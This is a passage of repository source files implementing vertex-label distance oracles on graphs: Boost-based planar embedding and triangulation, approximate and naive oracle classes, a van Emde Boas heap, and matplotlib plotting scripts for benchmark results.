"license_type": "no_license", "max_line_length": 114, "num_lines": 179, "path": "/src/planar.cpp", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#include \"planar.h\"\n\n#include <boost/graph/adjacency_list.hpp>\n#include <boost/graph/properties.hpp>\n#include <boost/graph/graph_traits.hpp>\n#include <boost/property_map/property_map.hpp>\n\n#include <boost/graph/biconnected_components.hpp>\n#include <boost/graph/boyer_myrvold_planar_test.hpp>\n#include <boost/graph/is_kuratowski_subgraph.hpp>\n#include <boost/graph/make_biconnected_planar.hpp>\n#include <boost/graph/make_maximal_planar.hpp>\n\nusing namespace boost;\n \ntypedef adjacency_list< vecS, vecS, undirectedS, property<vertex_index_t, int>, property<edge_index_t, int> > \n graph_t;\ntypedef graph_traits<graph_t>::edge_descriptor\n edge_descriptor_t;\ntypedef graph_traits<graph_t>::vertex_iterator\n vertex_iterator_t;\ntypedef vector< vector< edge_descriptor_t > >\n embedding_storage_t;\ntypedef boost::iterator_property_map< embedding_storage_t::iterator, property_map<graph_t, vertex_index_t>::type >\n embedding_t;\n\nstruct output_visitor: public planar_face_traversal_visitor\n{\n void begin_face() { std::cout << \"New face: \" << std::flush; }\n template <typename Vertex> void next_vertex(Vertex v) { std::cout << v << \" \" << std::flush; } \n void finish_face() { std::cout << std::endl << std::flush; }\n};\n\nvoid emToPg(graph_t& g, embedding_t& embedding, PlanarGraph& pg) {\n vertex_iterator_t vi, vi_end;\n tie(vi, vi_end) = vertices(g);\n for (; vi != vi_end; ++vi) {\n int u = get(vertex_index, g)[*vi];\n auto it_next = embedding[*vi].begin(), it = it_next;\n if (it_next == embedding[*vi].end()) continue;\n ++it_next;\n for (; it_next != embedding[*vi].end(); ++it_next, ++it) {\n int e = get(edge_index, g)[*it];\n int f = get(edge_index, g)[*it_next];\n pg.eNext(u, e) = f;\n }\n int e = get(edge_index, g)[*it];\n pg.eNext(u, e) = get(edge_index, g)[*embedding[*vi].begin()];\n }\n \n return;\n}\n\nstatic\nvoid pgToBg(const PlanarGraph& pg, graph_t& g) {\n g = graph_t(pg.vs().size());\n for (int i=0; i<(int)pg.es().size(); ++i) {\n add_edge(pg.es()[i].u, pg.es()[i].v, i, g); \n }\n}\n\nvoid pgToEm(const PlanarGraph& pg, graph_t& g, embedding_t& embedding) {\n vector<graph_t::edge_descriptor> eds;\n for (int i=0; i<(int)pg.es().size(); ++i) {\n eds.push_back(add_edge(pg.es()[i].u, pg.es()[i].v, i, g).first); \n }\n\n for (int v=0; v<(int)pg.vs().size(); ++v) {\n embedding[v].clear();\n if (pg.vs()[v].edges.empty()) continue;\n int e_begin = pg.vs()[v].edges[0], e = e_begin;\n do {\n embedding[v].push_back(eds[e]);\n e = pg.eNext(v, e);\n } while (e != e_begin); \n }\n return;\n}\n\nvoid fillEdges(PlanarGraph& pg, graph_t& g) {\n graph_traits<graph_t>::edge_iterator ei, ei_end;\n int eCounter = 0;\n for (tie(ei, ei_end) = edges(g); ei != ei_end; ++ei) {\n if (eCounter >= (int)pg.es().size()) {\n pg.add_edge(source(*ei, g), target(*ei, g));\n }\n put(get(edge_index, g), *ei, eCounter);\n ++eCounter;\n }\n}\n\nvoid embed(PlanarGraph& pg) {\n graph_t g(pg.vs().size());\n for (int i=0; i<(int)pg.es().size(); ++i) {\n add_edge(pg.es()[i].u, pg.es()[i].v, i, g); \n }\n\n embedding_storage_t embedding_storage(num_vertices(g));\n embedding_t embedding(embedding_storage.begin(), get(vertex_index, g));\n\n assert(boyer_myrvold_planarity_test(boyer_myrvold_params::graph = g,\n boyer_myrvold_params::embedding = embedding\n ));\n \n emToPg(g, embedding, pg);\n return;\n}\n/*\nstatic void printEmbedded(PlanarGraph& pg) {\n for (int v=0; v<(int)pg.vs().size(); ++v) {\n printf(\"Vertex %d:\\n\", v);\n if (pg.vs()[v].edges.empty()) continue;\n int e_end = pg.vs()[v].edges[0], e = e_end;\n do {\n printf(\"%d - %d\\n\", pg.es()[e].u, pg.es()[e].v);\n e = pg.eNext(v, e);\n } while (e != e_end);\n }\n return;\n}\n\nstatic void printBoost(graph_t& g, embedding_t& embedding) {\n graph_traits<graph_t>::vertex_iterator vi, vi_end;\n for(tie(vi, vi_end) = vertices(g); vi != vi_end; ++vi) {\n for (auto it=embedding[*vi].begin(); it != embedding[*vi].end(); ++it) {\n printf(\"%ld - %ld : %d\\n\", source(*it, g), target(*it, g), get(edge_index, g)[*it]);\n }\n printf(\"\\n\");\n }\n}\n\nstatic void printBoost(graph_t& g) {\n graph_traits<graph_t>::edge_iterator ei, ei_end;\n printf(\"Simple\\n\");\n for(tie(ei, ei_end) = edges(g); ei != ei_end; ++ei) {\n printf(\"%ld - %ld = %d\\n\", source(*ei, g), target(*ei, g), get(edge_index, g)[*ei]);\n }\n}\n*/\nvoid triangulate(PlanarGraph& pg) {\n graph_t g(pg.vs().size());\n embedding_storage_t embedding_storage(num_vertices(g));\n embedding_t embedding(embedding_storage.begin(), get(vertex_index, g));\n \n pgToBg(pg, g);\n\n assert(boyer_myrvold_planarity_test(boyer_myrvold_params::graph = g,\n boyer_myrvold_params::embedding = embedding\n ));\n \n make_biconnected_planar(g, embedding);\n fillEdges(pg, g);\n assert(boyer_myrvold_planarity_test(boyer_myrvold_params::graph = g,\n boyer_myrvold_params::embedding = embedding\n ));\n \n make_maximal_planar(g, embedding);\n fillEdges(pg, g);\n assert(boyer_myrvold_planarity_test(boyer_myrvold_params::graph = g,\n boyer_myrvold_params::embedding = embedding\n ));\n\n emToPg(g, embedding, pg);\n return;\n}\n \nbool isPlanar(const PlanarGraph& pg) {\n graph_t g(pg.vs().size());\n for (int i=0; i<(int)pg.es().size(); ++i) {\n add_edge(pg.es()[i].u, pg.es()[i].v, i, g); \n }\n\n embedding_storage_t embedding_storage(num_vertices(g));\n embedding_t embedding(embedding_storage.begin(), get(vertex_index, g));\n\n return boyer_myrvold_planarity_test(boyer_myrvold_params::graph = g,\n boyer_myrvold_params::embedding = embedding\n );\n}\n" }, { "alpha_fraction": 0.4462529420852661, "alphanum_fraction": 0.45421546697616577, "avg_line_length": 26.637540817260742, "blob_id": "22e4274962162f42a27b673b7ae682667596584c", "content_id": "1341c2d60565104fdc19887c19fc08837deb047a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8540, "license_type": "no_license", "max_line_length": 94, "num_lines": 309, "path": "/src/oracle_general_3approx.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_GENERAL_3APPROX_H_\n#define _ORACLE_GENERAL_3APPROX_H_\n\n#include \"oracle_general_approx.h\"\n#include <unordered_map>\n#include <cassert>\n#include <set>\n\nusing std::unordered_map;\nusing std::multiset;\nusing std::min;\n\nclass OracleGeneral3Approx : public OracleGeneralApprox {\nprivate: \n\n struct Label {\n unordered_map< int, set< pair<W, int> > > S_v;\n unordered_map< int, set< pair<W, pair<int, int> > > > P_l;\n };\n vector<Label> labels;\n\n\n// Methods\n\n virtual\n void initializeStructures() {\n labels.resize(n);\n for (int v=0; v<n; ++v) {\n int l = vertices[v].label;\n for (auto &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].insert(make_pair(du, v));\n }\n }\n\n for (auto &label: labels) {\n for (auto &S: label.S_v) {\n int v = S.first;\n int l2 = vertices[v].label;\n for (auto &u: S.second) {\n label.P_l[l2].insert(make_pair(u.first, make_pair(u.second, v)));\n }\n }\n }\n }\n\n virtual\n void applyLabel(int v, int l) {\n vertices[v].label = l;\n \n for (auto &p: portals) {\n p.N_l[l].insert(make_pair(p.D_v[v], v));\n }\n \n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n\n labels[l].S_v[u].insert(make_pair(du, v));\n labels[l].P_l[ll].insert(make_pair(du, make_pair(v, u)));\n if (v != u) labels[ll].P_l[l].insert(make_pair(du, make_pair(u, v)));\n }\n }\n\n virtual\n void purgeLabel(int v) {\n int l = vertices[v].label;\n \n for (auto &p: portals) {\n p.N_l[l].erase(make_pair(p.D_v[v], v));\n }\n\n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n \n auto it1 = labels[ll].P_l.find(l);\n it1->second.erase(make_pair(du, make_pair(u, v)));\n if (it1->second.empty()) {\n labels[ll].P_l.erase(it1);\n }\n\n if (v != u) {\n auto it2 = labels[l].P_l.find(ll);\n it2->second.erase(make_pair(du, make_pair(v, u)));\n if (it2->second.empty()) {\n labels[l].P_l.erase(it2);\n }\n }\n\n auto it3 = labels[l].S_v.find(u);\n it3->second.erase(make_pair(du, v));\n if (it3->second.empty()) {\n labels[l].S_v.erase(it3);\n }\n }\n }\n\npublic:\n OracleGeneral3Approx(\n int n, \n const vector< pair<int, int> > edges, \n const vector<W> weights,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n vector<int> labels;\n for (int i=0; i<n; ++i) labels.push_back(i);\n initializeWithLabels(g, labels, ro);\n }\n \n OracleGeneral3Approx(\n int n, \n const vector< pair<int, int> > &edges, \n const vector<W> &weights, \n vector<int> labels,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n initializeWithLabels(g, labels, ro);\n }\n\n virtual\n pair<W, int> distanceToLabel(int v, int l) {\n pair<W, int> result(infinity, -1);\n for (auto &p: portals) {\n auto it = p.N_l[l].begin();\n if (it == p.N_l[l].end()) continue;\n result = min(result, make_pair(p.D_v[v] + it->first, it->second));\n }\n auto it = labels[l].S_v.find(v);\n if (it != labels[l].S_v.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n\n virtual\n pair<W, pair<int, int> > distanceBetweenLabels(int l1, int l2) {\n pair<W, pair<int, int> > result(infinity, make_pair(-1, -1));\n\n for (auto &p: portals) {\n if (p.N_l[l1].empty()) continue;\n if (p.N_l[l2].empty()) continue;\n auto v = *p.N_l[l1].begin();\n auto u = *p.N_l[l2].begin();\n result = min(result, make_pair(v.first + u.first, make_pair(v.second, u.second)));\n }\n auto it = labels[l1].P_l.find(l2);\n if (it != labels[l1].P_l.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n};\n\n// LIGHT\n\nclass OracleGeneral3ApproxLight : public OracleGeneralApproxLight {\nprivate: \n\n struct Label {\n unordered_map< int, multiset< W > > S_v;\n unordered_map< int, multiset< W > > P_l;\n };\n vector<Label> labels;\n\n\n// Methods\n\n virtual\n void initializeStructures() {\n labels.resize(n);\n for (int v=0; v<n; ++v) {\n int l = vertices[v].label;\n for (auto curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].insert(du);\n }\n }\n\n for (auto &label: labels) {\n for (auto &S: label.S_v) {\n int v = S.first;\n int l2 = vertices[v].label;\n for (auto &u: S.second) {\n label.P_l[l2].insert(u);\n }\n }\n }\n }\n\n virtual\n void applyLabel(int v, int l) {\n vertices[v].label = l;\n \n for (auto &p: portals) {\n p.N_l[l].insert(p.D_v[v]);\n }\n \n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n\n labels[l].S_v[u].insert(du);\n labels[l].P_l[ll].insert(du);\n if (v != u) labels[ll].P_l[l].insert(du);\n }\n }\n\n virtual\n void purgeLabel(int v) {\n int l = vertices[v].label;\n \n for (auto &p: portals) {\n p.N_l[l].erase(p.N_l[l].find(p.D_v[v]));\n }\n\n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n \n auto it1 = labels[ll].P_l.find(l);\n it1->second.erase(it1->second.find(du));\n if (it1->second.empty()) {\n labels[ll].P_l.erase(it1);\n }\n\n if (v != u) {\n auto it2 = labels[l].P_l.find(ll);\n it2->second.erase(it2->second.find(du));\n if (it2->second.empty()) {\n labels[l].P_l.erase(it2);\n }\n }\n\n auto it3 = labels[l].S_v.find(u);\n it3->second.erase(it3->second.find(du));\n if (it3->second.empty()) {\n labels[l].S_v.erase(it3);\n }\n }\n }\n\npublic:\n OracleGeneral3ApproxLight(\n int n, \n const vector< pair<int, int> > edges, \n const vector<W> weights,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n vector<int> labels;\n for (int i=0; i<n; ++i) labels.push_back(i);\n initializeWithLabels(g, labels, ro);\n }\n \n OracleGeneral3ApproxLight(\n int n, \n const vector< pair<int, int> > &edges, \n const vector<W> &weights, \n vector<int> labels,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n initializeWithLabels(g, labels, ro);\n }\n\n virtual\n W distanceToLabel(int v, int l) {\n W result(infinity);\n for (auto &p: portals) {\n auto it = p.N_l[l].begin();\n if (it == p.N_l[l].end()) continue;\n result = min(result, p.D_v[v] + *it);\n }\n auto it = labels[l].S_v.find(v);\n if (it != labels[l].S_v.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n\n virtual\n W distanceBetweenLabels(int l1, int l2) {\n W result(infinity);\n\n for (auto &p: portals) {\n if (p.N_l[l1].empty()) continue;\n if (p.N_l[l2].empty()) continue;\n auto v = *p.N_l[l1].begin();\n auto u = *p.N_l[l2].begin();\n result = min(result, v + u);\n }\n auto it = labels[l1].P_l.find(l2);\n if (it != labels[l1].P_l.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n};\n\n#endif\n" }, { "alpha_fraction": 0.4617342948913574, "alphanum_fraction": 0.46666666865348816, "avg_line_length": 24.9710750579834, "blob_id": "09341a99a760cc966e8ddaad317db9855d475bd9", "content_id": "75ba17b327ec1d458246839405a43dfa32b04fc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6285, "license_type": "no_license", "max_line_length": 90, "num_lines": 242, "path": "/src/oracle_general_5approx.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_GENERAL_5APPROX_H_\n#define _ORACLE_GENERAL_5APPROX_H_\n\n#include \"precision.h\"\n\n#include <map>\n\nusing std::map;\n\nclass OracleGeneral5ApproxQuery : public OracleGeneralApprox {\nprivate:\n// Fields\n\n struct Label {\n map< int, set< pair<W, int> > > S_v;\n };\n vector<Label> labels;\n\n// Methods\n virtual\n void initializeStructures() {\n labels.resize(n);\n for (int v=0; v<n; ++v) {\n int l = vertices[v].label;\n for (auto curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].insert(make_pair(du, v));\n }\n }\n }\n \n virtual\n void applyLabel(int v, int l) {\n \n vertices[v].label = l;\n \n for (auto &p: portals) {\n p.N_l[l].insert(make_pair(p.D_v[v], v));\n }\n \n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].insert(make_pair(du, v));\n }\n }\n\n virtual\n void purgeLabel(int v) {\n int l = vertices[v].label;\n \n for (auto &p: portals) {\n p.N_l[l].erase(make_pair(p.D_v[v], v));\n }\n\n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].erase(make_pair(du, v));\n\n if (labels[l].S_v[u].empty()) {\n labels[l].S_v.erase(u);\n }\n \n }\n }\n\npublic:\n OracleGeneral5ApproxQuery(\n int n, \n const vector< pair<int, int> > edges, \n const vector<W> weights,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n vector<int> labels;\n for (int i=0; i<n; ++i) labels.push_back(i);\n initializeWithLabels(g, labels, ro);\n }\n \n OracleGeneral5ApproxQuery(\n int n, \n const vector< pair<int, int> > &edges, \n const vector<W> &weights, \n vector<int> labels,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n initializeWithLabels(g, labels, ro);\n }\n\n virtual\n pair<W, int> distanceToLabel(int v, int l) {\n pair<W, int> result(infinity, -1);\n \n int p = vertices[v].p;\n\n auto it1 = portals[p].N_l[l].begin();\n if (it1 != portals[p].N_l[l].end())\n result = min(result, make_pair(vertices[v].pd + it1->first, it1->second));\n \n auto it2 = labels[l].S_v.find(v);\n if (it2 != labels[l].S_v.end())\n result = min(result, *it2->second.begin());\n \n return result;\n }\n};\n\nclass OracleGeneral5ApproxUpdate : public OracleGeneralApprox {\nprivate:\n\n// Methods\n virtual\n void initializePortals(const Graph& g, int pi) {\n int p = portalNumbers[pi];\n \n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(n, infinity);\n \n queue.push(make_pair(0, p));\n dist[p] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n portals[pi].N_l.resize(n);\n swap(portals[pi].D_v, dist);\n }\n \n virtual\n void initializeDistances(const Graph& g, int v) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (portalIndices[u] != -1) {\n vertices[v].pd = ud;\n vertices[v].p = portalIndices[u];\n portals[portalIndices[u]].N_l[vertices[v].label].insert(make_pair(ud, v));\n break;\n }\n vertices[v].dist.push_back(curr);\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n }\n\n virtual\n void initializeStructures() {}\n \n virtual\n void applyLabel(int v, int l) { \n vertices[v].label = l;\n \n int p = vertices[v].p; \n portals[p].N_l[l].insert(make_pair(vertices[v].pd, v));\n }\n\n virtual\n void purgeLabel(int v) {\n int l = vertices[v].label;\n int p = vertices[v].p; \n portals[p].N_l[l].erase(make_pair(vertices[v].pd, v));\n }\n\npublic:\n OracleGeneral5ApproxUpdate(\n int n, \n const vector< pair<int, int> > edges, \n const vector<W> weights,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n vector<int> labels;\n for (int i=0; i<n; ++i) labels.push_back(i);\n initializeWithLabels(g, labels, ro);\n }\n \n OracleGeneral5ApproxUpdate(\n int n, \n const vector< pair<int, int> > &edges, \n const vector<W> &weights, \n vector<int> labels,\n int ro = -1)\n {\n Graph g(n, edges, weights);\n initializeWithLabels(g, labels, ro);\n }\n\n virtual\n pair<W, int> distanceToLabel(int v, int l) {\n pair<W, int> result(infinity, -1);\n \n for (auto &curr: vertices[v].dist) {\n if (labelOf(curr.second) == l) return curr;\n }\n\n for (auto &p: portals) {\n auto it = p.N_l[l].begin();\n if (it != p.N_l[l].end())\n result = min(result, make_pair(p.D_v[v] + it->first, it->second));\n }\n \n return result;\n }\n};\n\n#endif\n" }, { "alpha_fraction": 0.2890080511569977, "alphanum_fraction": 0.2973190248012543, "avg_line_length": 21.871166229248047, "blob_id": "c9b7c645ce57397a0f5e6ce674d49c32fd9e0453", "content_id": "1f7ae5d42ecb585672291d93f03c6b3ab6d6a865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3730, "license_type": "no_license", "max_line_length": 55, "num_lines": 163, "path": "/veb.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _VEB_H_\n#define _VEB_H_\n\n#include <utility>\n#include <iostream>\nusing std::cout;\nusing std::endl;\nusing std::swap;\n\nclass VEBHeap {\n typedef unsigned int uint;\n typedef uint size_t;\n\n struct Node {\n uint k;\n uint min, max;\n Node *aux;\n Node *sons;\n\n Node () {}\n Node(uint kk) : min(1<<kk), k(kk) {\n if (kk > 1) {\n aux = new Node((k+1)/2);\n sons = new Node[1 << ((k+1)/2)];\n for (uint i=0; i<(1 << (k+1)/2); ++i) {\n sons[i] = Node(k/2);\n }\n }\n }\n\n bool empty() {\n return min == (1u << k);\n }\n\n uint low(uint x) {\n return x & ((1<<(k/2))-1);\n }\n\n uint high(uint x) {\n return x >> (k/2);\n }\n\n void insert(uint x) {\n if (empty()) {\n min = max = x;\n return;\n }\n if (min == max) {\n if (x < min) {\n min = x;\n } else if (x > max) {\n max = x;\n }\n return;\n }\n \n if (k == 1) return;\n \n if (x <= min) {\n if (x == min) return;\n std::swap(x, min);\n } else if (x >= max) {\n if (x == max) return;\n std::swap(x, max);\n }\n\n uint h = high(x);\n uint l = low(x);\n if (sons[h].empty()) aux->insert(h);\n sons[h].insert(l);\n }\n\n void erase(uint x) {\n if (k == 1) {\n if (min == x) {\n if (max == x) {\n min = 2u;\n } else {\n min = max;\n }\n } else if (max == x) {\n max = min;\n }\n return;\n }\n\n if (min == x) {\n if (max == x) {\n min = (1u << k);\n return;\n }\n if (aux->empty()) {\n min = max;\n return;\n }\n uint h = aux->min;\n min = (h << (k/2)) + sons[h].min;\n x = min;\n uint h;\n uint l;\n\n } else if (max == x) {\n if (aux->empty()) {\n max = min;\n return;\n }\n uint h = aux->max;\n max = (h << (k/2)) + sons[h].max;\n x = max;\n }\n\n if (aux->empty()) return;\n \n uint h = high(x);\n uint l = low(x);\n \n sons[h].erase(l);\n if (sons[h].empty()) aux->erase(h);\n }\n\n uint succ(uint x) {\n if (x <= min) return min;\n if (x > max) return (1u << k);\n if (x == max) return max;\n\n uint h = high(x);\n uint l = low(x);\n if (sons[h].empty() || sons[h].max < l) {\n h = aux->succ(h);\n if (h == (1<<(k/2))) return max;\n return (h << (k/2)) + sons[h].min;\n }\n return (h << (k/2)) + sons[h].succ(l);\n }\n };\n\n Node* root;\n \npublic:\n VEBHeap() {}\n VEBHeap(uint n) {\n uint k = 1;\n while (n > 2) {\n n >>= 1;\n ++k;\n }\n root = new Node(k);\n }\n\n void insert(uint x) {\n root->insert(x);\n }\n\n void erase(uint x) {\n root->erase(x);\n }\n\n uint lowerBound(uint x) {\n return root->succ(x);\n }\n};\n\n#endif \n" }, { "alpha_fraction": 0.5627962350845337, "alphanum_fraction": 0.5959715843200684, "avg_line_length": 17.755556106567383, "blob_id": "08c90e6062d9628020cfa850b743f4aabdd813ff", "content_id": "fd022cc12e298ccf56a988d2b46fabc1b5527733", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 844, "license_type": "no_license", "max_line_length": 48, "num_lines": 45, "path": "/scripts/plotErrorPlanar.py", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pylab\nimport sys\n\nfig, ax1 = plt.subplots()\nax2 = ax1.twinx();\nax = [ax1, ax2];\n\nax1.set_xlabel('approximation parameter')\nax1.set_ylabel('time (sec)', color='r')\nax1.set_ylim([0,4])\nax2.set_ylabel('approximation ratio', color='b')\n#ax2.set_yscale('log')\nax2.set_ylim([1,1.04])\n\nsymbols = ['-ro', '-.bs']\ncolors = ['r', 'b']\n\nplt.grid(True)\n\na = [line.split() for line in sys.stdin]\na = [list(x) for x in zip(*a)];\n\nlabels = a[0];\nk = (len(labels)-1)/6;\nprint(labels);\nfor i in range(0, len(labels)):\n if (i % k != 0):\n labels[i] = \"\";\n\npylab.xticks(range(0, len(labels)), labels)\n\ns = 0\nfor v in a[1:]:\n ax[s].plot(v, symbols[s])\n# plt.plot(v, colors[s])\n s += 1\n\nif len(sys.argv) == 2:\n plt.savefig(sys.argv[1] + '.png');\nelse:\n plt.show()\n" }, { "alpha_fraction": 0.5975308418273926, "alphanum_fraction": 0.5987654328346252, "avg_line_length": 19.769229888916016, "blob_id": "147fd32801ef2c9f5088be36b51f015d28480926", "content_id": "1249d40f6422680445f9f67e8fe6443096b2ec75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 810, "license_type": "no_license", "max_line_length": 52, "num_lines": 39, "path": "/src/oracle_internal.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_INTERNAL_H_\n#define _ORACLE_INTERNAL_H_\n\n#include \"planar.h\"\n#include <utility>\n\nusing std::pair;\n\nvoid\ngetDistances(\n const PlanarGraph& g,\n int u,\n vector<W> &distances);\n\npair<W, W>\ngetStretch(const PlanarGraph& g);\n\nvoid\nextractSubgraph(\n const PlanarGraph& g,\n const vector<int>& parent,\n vector<int>& selection,\n PlanarGraph& subg,\n vector<int>& subparent,\n vector<int>& mapping,\n// three vectors fiiled with -1's\n vector<int>& vInd, \n vector<int>& eInd);\n\nvoid\nsubdivide(\n PlanarGraph g,\n const vector<int>& parent,\n vector< PlanarGraph >& subgs,\n vector< vector<int> >& mappings,\n vector< vector<int> >& parents,\n vector< vector< pair<int, int > > >& paths);\n\n#endif\n" }, { "alpha_fraction": 0.5870646834373474, "alphanum_fraction": 0.6007462739944458, "avg_line_length": 19.615385055541992, "blob_id": "59e92bce375dbdce561bae0d4355576923790d80", "content_id": "c0b5eabb2ba2a3ea1f7e664ea7fb5e1b634dc1aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 804, "license_type": "no_license", "max_line_length": 78, "num_lines": 39, "path": "/scripts/plotGroup.py", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pylab\nimport sys\n\nplt.xlabel('number of community-to-community queries')\nplt.ylabel('time (sec)')\nplt.title('A total time of initialization and community-to-community queries')\n\nsymbols = ['ro', 'bs', 'g<', 'y>', 'kx']\ncolors = ['r', 'b', 'g', 'y', 'k']\n\nplt.grid(True)\n\na = [line.split() for line in sys.stdin]\n#a = [list(x) for x in zip(*data)];\n\nlabels = a[0];\nk = (len(labels)-1)/4;\nprint(labels);\nfor i in range(0, len(labels)):\n if (i % k != 0):\n labels[i] = \"\";\n\n# plt.gca().set_yscale('log')\npylab.xticks(range(0, len(labels)), labels)\n\ns = 0\nfor v in a[1:]:\n plt.plot(v, symbols[s])\n plt.plot(v, colors[s])\n s += 1\n\nif len(sys.argv) == 2:\n plt.savefig(sys.argv[1] + '.png');\nelse:\n plt.show()\n" }, { "alpha_fraction": 0.48347872495651245, "alphanum_fraction": 0.48916202783584595, "avg_line_length": 22.943037033081055, "blob_id": "3128e2d1128d85b5d8dec462eebcf5e99e5372d3", "content_id": "2ed88d5242038c17dd5dbb27b625e2f911a92a23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7566, "license_type": "no_license", "max_line_length": 80, "num_lines": 316, "path": "/src/oracle_naive.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_NAIVE_H_\n#define _ORACLE_NAIVE_H_\n\n#include \"precision.h\"\n#include \"graph.h\"\n\n#include <vector>\n#include <utility>\n#include <queue>\n#include <set>\n\nusing std::set;\nusing std::vector;\nusing std::pair;\nusing std::priority_queue;\nusing std::greater;\nusing std::make_pair;\n\nclass OracleNaive {\n \n Graph g;\n vector<int> labels;\n\n void initializeWithLabels(const vector<int> &llabels) {\n labels = llabels;\n }\n\npublic:\n\n OracleNaive(\n int n,\n const vector< pair<int, int> > edges,\n const vector< W > weights) :\n g(n, edges, weights)\n {\n vector<int> labels;\n for (int i=0; i<n; ++i) labels.push_back(i);\n initializeWithLabels(labels);\n }\n\n OracleNaive(\n int n, \n const vector< pair<int, int> > &edges, \n const vector<W> &weights, \n vector<int> labels) :\n g(n, edges, weights)\n {\n initializeWithLabels(labels);\n }\n\n void setLabel(int v, int l) {\n labels[v] = l;\n }\n\n int labelOf(int v) {\n return labels[v];\n }\n \n W distanceToVertex(int v, int w);\n pair<W, int> distanceToLabel(int v, int l);\n pair<W, pair<int, int> > distanceBetweenLabels(int l1, int l2);\n};\n\nW OracleNaive::distanceToVertex(int v, int w) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (u == w) return dist[u];\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n return infinity;\n}\n\npair<W, int> OracleNaive::distanceToLabel(int v, int l) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (labels[u] == l) {\n return curr;\n }\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n return make_pair(infinity, -1);\n}\n\npair<W, pair<int, int> > OracleNaive::distanceBetweenLabels(int l1, int l2) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n 